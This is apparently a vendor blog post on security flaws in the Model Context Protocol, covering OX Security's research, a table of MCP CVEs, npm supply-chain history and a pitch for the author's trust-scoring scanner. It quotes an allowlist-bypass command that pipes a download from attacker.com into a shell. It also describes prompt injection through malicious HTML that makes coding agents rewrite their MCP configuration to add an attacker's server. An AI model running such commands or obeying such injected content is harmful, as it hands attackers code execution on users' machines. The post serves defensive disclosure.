MCP's Security Crisis Is Architectural, Not Accidental

OX Security proved STDIO transport is RCE by design. 9 of 11 MCP marketplaces accepted a malicious server without detection. Anthropic called it “expected behavior.” This is the npm supply chain crisis, replaying at the agent layer — and marketplace review gates can't stop it.

On April 15, 2026, OX Security published research under the title “The Mother of All AI Supply Chains.” The finding: Anthropic’s Model Context Protocol — the de facto standard for connecting AI agents to external tools — has a fundamental architectural vulnerability in every official SDK, across all ten supported languages.

The vulnerability class is not a bug. It is how MCP was designed to work.

MCP’s STDIO transport accepts arbitrary command strings and passes them to subprocess execution without validation, sanitization, or sandboxing. The critical detail: commands execute before MCP handshake validation occurs. Pass a malicious command to the transport layer, receive an error — and the command has already run. No sanitization warnings. No red flags in the developer toolchain. Nothing.

This affects the Python SDK (73 million downloads, 32,000+ repositories), the TypeScript SDK, and every other official implementation. 150 million cumulative downloads. An estimated 200,000 vulnerable instances. All ten SDKs — Python, TypeScript, Java, Kotlin, C#, Go, Ruby, Swift, PHP, and Rust.

Anthropic’s response, in their own words: “This is an explicit part of how stdio MCP servers work and we believe that this design does represent a secure default.”

They declined to modify the protocol.


The Four Attack Classes

OX Security didn’t just find one vulnerability. They mapped four distinct attack vectors, all flowing from the same architectural assumption: that configuration files and transport inputs can be trusted.

1. Unauthenticated command injection via STDIO transport. The root vulnerability. MCP’s STDIO transport calls subprocess.Popen() (Python) or child_process.spawn() (Node) with developer-supplied command strings. There is no command allowlist, no manifest, no signing. The researchers demonstrated this against LangFlow (915 publicly accessible instances found on Shodan with unauthenticated session tokens), LiteLLM, IBM LangFlow, Flowise, LettaAI, and LangBot.

2. Hardening bypass via argument injection. Even developers who implement allowlists are vulnerable. Flowise’s input filtering was bypassed in a single step using npx -c "curl attacker.com | sh". The allowlist permits npx; the -c flag turns it into an arbitrary code execution gateway. This is the pattern that makes developer-side mitigation structurally insufficient — every allowed command is a potential bypass.

3. Zero-click prompt injection. Malicious content processed by an AI agent modifies the local MCP configuration file, registering an attacker-controlled server. In Windsurf (CVE-2026-30615, CVSS 8.0), this was a true zero-click — processing a malicious HTML document triggered unauthorized MCP configuration changes with no user interaction. OX tested the same class across Claude Code, Cursor, Gemini-CLI, and GitHub Copilot. All were affected. Only Windsurf received a CVE.

4. Marketplace poisoning. OX uploaded a proof-of-concept malicious MCP server to 11 major MCP marketplaces. 9 of 11 accepted it without detection. No review process flagged it. No automated scanning caught it. The server passed every gate between upload and installation.


Why This Can’t Be Patched

OX proposed four fixes to Anthropic. All were declined.

  1. Manifest-only execution replacing arbitrary command strings
  2. Command allowlisting blocking high-risk binaries
  3. Mandatory dangerous-mode opt-in flag for dynamic arguments
  4. Marketplace verification with signed security manifests

These aren’t exotic proposals. They’re standard supply chain security practices — the same controls that npm, PyPI, and Docker Hub have adopted (or are adopting) after their own supply chain crises. Anthropic declined all four and updated their SECURITY.md documentation instead.

The OX researchers noted: “One architectural change at the protocol level would have protected every downstream project, every developer, and every end user who relied on MCP today. That’s what it means to own the stack.”

Instead, each downstream project must independently rediscover the vulnerability and implement its own mitigations. OX issued 30+ responsible disclosures and discovered 10+ high/critical-severity CVEs patching individual projects. The root cause remains unfixed.

This architectural choice has consequences. In January through April 2026, the MCP ecosystem accumulated a casualty list that looks less like a young protocol finding its feet and more like a fundamental design failure propagating outward:

CVE Product CVSS What Happened
CVE-2026-33032 nginx-ui 9.8 MCPwn — 2 HTTP requests, zero auth, full server takeover. 2,600+ exposed. Actively exploited.
CVE-2026-5058 aws-mcp-server 9.8 Pre-auth RCE via OS command injection in allowed commands list
CVE-2026-5059 aws-mcp-server 9.8 Second injection point in same product
CVE-2026-32211 @azure-devops/mcp 9.1 Zero authentication — exposes repos, pipelines, API keys to anyone with network access
CVE-2026-27825/26 mcp-atlassian MCPwnfluence — SSRF + arbitrary file write → unauthenticated RCE
CVE-2026-30615 Windsurf 8.0 True zero-click prompt injection — no user interaction required
CVE-2026-26118 Azure MCP Server SSRF for privilege elevation
10+ additional LiteLLM, Flowise, Agent Zero, etc. OX Security disclosures from STDIO injection class

The MCPwn exploit is particularly instructive. The root cause was a single missing middleware call on the /mcp_message endpoint of nginx-ui. While /mcp required both IP whitelist and authentication, /mcp_message only applied the IP whitelist — which defaults to “allow all” when empty. Two HTTP requests. Full server takeover. The fix was 27 characters of code: adding , middleware.AuthRequired() to one route definition.

Two thousand six hundred servers were exposed across 50+ countries before that fix shipped. MCPwn was actively exploited in the wild.


The npm Parallel

If this pattern feels familiar, it should. We’ve seen it before — at the package registry layer.

2016: left-pad. An 11-line npm package was unpublished, breaking the build systems of Facebook, Airbnb, and thousands of other projects. The lesson was supposed to be: don’t depend on trivially small packages from unknown authors for critical infrastructure.

2018: event-stream. A popular package’s maintainer transferred ownership to a stranger. The new maintainer injected a dependency — flatmap-stream — that stole cryptocurrency wallet keys. 8 million weekly downloads. The attack was live for two months before a developer noticed. When we applied behavioral scoring retrospectively, the injected dependency scored 13 out of 100. The structural signals were screaming. Nobody was listening.

2021: ua-parser-js. A maintainer’s npm account was compromised. Cryptominer and credential stealer injected into a package with 7.9 million weekly downloads. The compromise was in the published artifact, not the source repo — npm audit showed nothing.

2026: axios. 101 million weekly downloads. Compromised. npm audit reported zero issues. Behavioral scoring had flagged it CRITICAL weeks earlier — not because the code was malicious, but because the structural risk indicators (maintainer concentration, dependency tree instability, publishing patterns) crossed every threshold.

The pattern is identical every time:

  1. An ecosystem grows faster than its trust infrastructure
  2. A registry or marketplace becomes the primary distribution channel
  3. Attackers discover that the registry’s review gates are insufficient
  4. Supply chain attacks scale to the size of the distribution channel
  5. The community responds with more review gates, which fail the same way

MCP marketplaces are at step 3. OX Security just proved it with 9 of 11 marketplaces accepting malicious servers. The same trajectory that took npm a decade to partially address is compressing into months — because the attack surface is larger (arbitrary code execution, not just package code) and the stakes are higher (agent tool access, not just build-time dependency injection).


Why Review Gates Always Fail

Every response to a supply chain crisis follows the same playbook: add more review. More scanning. More human oversight. More automated checks at the gate.

The fundamental problem: review gates verify state at a point in time. The attack happens after the gate closes.

We wrote about this as the TOCTOU of trust — time-of-check vs. time-of-use. A server passes marketplace review on Monday. The maintainer pushes a malicious update on Tuesday. The next review gate is the next time someone files a report. Between those two moments, every user of that server is exposed.

npm tried to solve this with provenance attestations, package signatures, and npm audit. None of them caught the ua-parser-js compromise. None of them would have caught event-stream. The attestations verify that a published package was built from a specific commit in a specific repo — which is true even when the commit itself is malicious.

MCP marketplaces are recreating the same architecture with the same limitations. A marketplace that reviews servers at upload time cannot detect:

  • A server that behaves differently after installation than during review
  • A server whose maintainer account is compromised post-review
  • A server that passes all static checks but exploits STDIO transport at runtime
  • A server that uses prompt injection to modify other servers’ configurations

The Azure MCP Server CVE (CVE-2026-32211) adds another dimension: the npm package included a preinstall script that overrode npm registry configuration — a documented supply chain attack vector. This is a server from a Microsoft-affiliated developer, published on npm, exposing Azure DevOps credentials with zero authentication. The marketplace review model doesn’t have a category for “the publisher is a trusted entity and the server is still dangerous.”


The Missing Signal

Here is the structural gap:

Declarations can be faked. A marketplace listing says “verified.” A security audit says “passed.” An npm provenance badge says “signed.” These are statements about what something was at a point in time. Delve faked SOC2 certificates for 494 companies. 9 of 11 MCP marketplaces accepted a malicious server. The declaration layer is gameable by design — it’s optimized for signaling, not for truth.

Behavior is harder to fake. A server that makes network requests it shouldn’t. A package whose publishing patterns changed. A maintainer who transferred ownership and disappeared. A tool that executes commands outside its stated scope. These are behavioral signals — patterns in what entities do, not what they say.

The npm supply chain taught us this. When we applied behavioral commitment scoring retrospectively to the three worst npm supply chain attacks, the structural signals were present before every incident. event-stream’s injected dependency flatmap-stream scored 13/100. ua-parser-js had single-maintainer concentration risk before its 2021 compromise. colors.js had the same profile before Marak’s 2022 sabotage.

None of the declaration-based systems — npm audit, Snyk, Socket (pre-behavioral), marketplace review — raised an alert.

The MCP ecosystem needs the same lesson, applied earlier. The question is not “did this server pass review?” The question is: what does this server’s behavior, over time, tell us about whether it should be trusted?


Proof-of-Commitment as a Trust Signal

This is what Commit was built for.

Proof-of-commitment doesn’t replace marketplace review. It replaces the trust inference that marketplace review pretends to provide. Instead of a binary gate (listed/not listed, reviewed/not reviewed), it measures a gradient of behavioral commitment:

  • Maintainer longevity. How long has the author been actively maintaining this? Transferred ownership to a stranger (event-stream) shows up as a discontinuity.
  • Publishing consistency. Regular cadence vs. erratic bursts. Account compromise (ua-parser-js) creates anomalous publish events.
  • Dependency stability. Injecting a new dependency that itself has no history (flatmap-stream) triggers structural risk flags.
  • Community engagement. Issues responded to, PRs merged, documentation maintained. Abandoned packages with high download counts (the core npm risk pattern) score differently than maintained ones.
  • Financial commitment. Locked collateral signals skin in the game. Not a gate — a gradient. More collateral, stronger signal.

These signals are continuous, not point-in-time. They degrade naturally when behavior changes. A server that was trustworthy last month and whose maintainer vanished this month produces a different score — without anyone filing a report, running a scan, or reviewing a listing.

For MCP servers specifically, this means:

  • Score the source repository, not just the marketplace listing
  • Track behavioral changes between versions, not just code diffs
  • Flag when a server’s structural risk profile crosses thresholds, even when no CVE exists
  • Surface the signal before the marketplace review gate — not after the exploit

What To Do Now

If you operate MCP infrastructure, or depend on MCP servers in your development environment:

Audit your MCP servers. Run npx proof-of-commitment mcp-remote <server> against every server in your configuration. Our scanner doesn’t catch the STDIO injection class — we wrote about that limitation — but it catches structural risk indicators that correlate with compromise.

npx proof-of-commitment mcp-remote @modelcontextprotocol/server-github

# Scan a specific package
npx proof-of-commitment npm express

# Or use the web UI
# https://getcommit.dev/audit

Don’t trust marketplace badges. 9 of 11 marketplace review processes failed. If your security posture depends on “this server was listed on a reputable marketplace,” it depends on nothing.

Monitor behavior, not just code. Static analysis is necessary but insufficient. The attacks that matter — MCPwn, MCPwnfluence, the STDIO injection class — are behavioral, not structural. Watch what your MCP servers actually do at runtime.

Add trust scoring to CI. We published a 5-minute CI integration tutorial. Structural risk flags show up in PR comments before compromised dependencies reach production.

The MCP ecosystem is moving at infrastructure speed. The security model hasn’t kept up. The response cannot be “better review gates” — that’s the same answer that failed for npm, failed for PyPI, and just failed for 9 of 11 MCP marketplaces. The response has to be continuous behavioral monitoring, applied at the layer where trust decisions are actually made.

The data already exists. The signals are already there. The question is whether we read them before the next MCPwn, or after.


Sources: OX Security (April 15, 2026), The Register (April 16), CVE-2026-33032 (MCPwn), CVE-2026-5058 / CVE-2026-5059 (AWS), CVE-2026-32211 (Azure), CVE-2026-30615 (Windsurf zero-click). CVE table reflects public disclosures as of April 20, 2026.

Audit your MCP dependencies: getcommit.dev/audit | CI integration | GitHub

Stay in the loop

Early access, research updates, and the occasional strong opinion.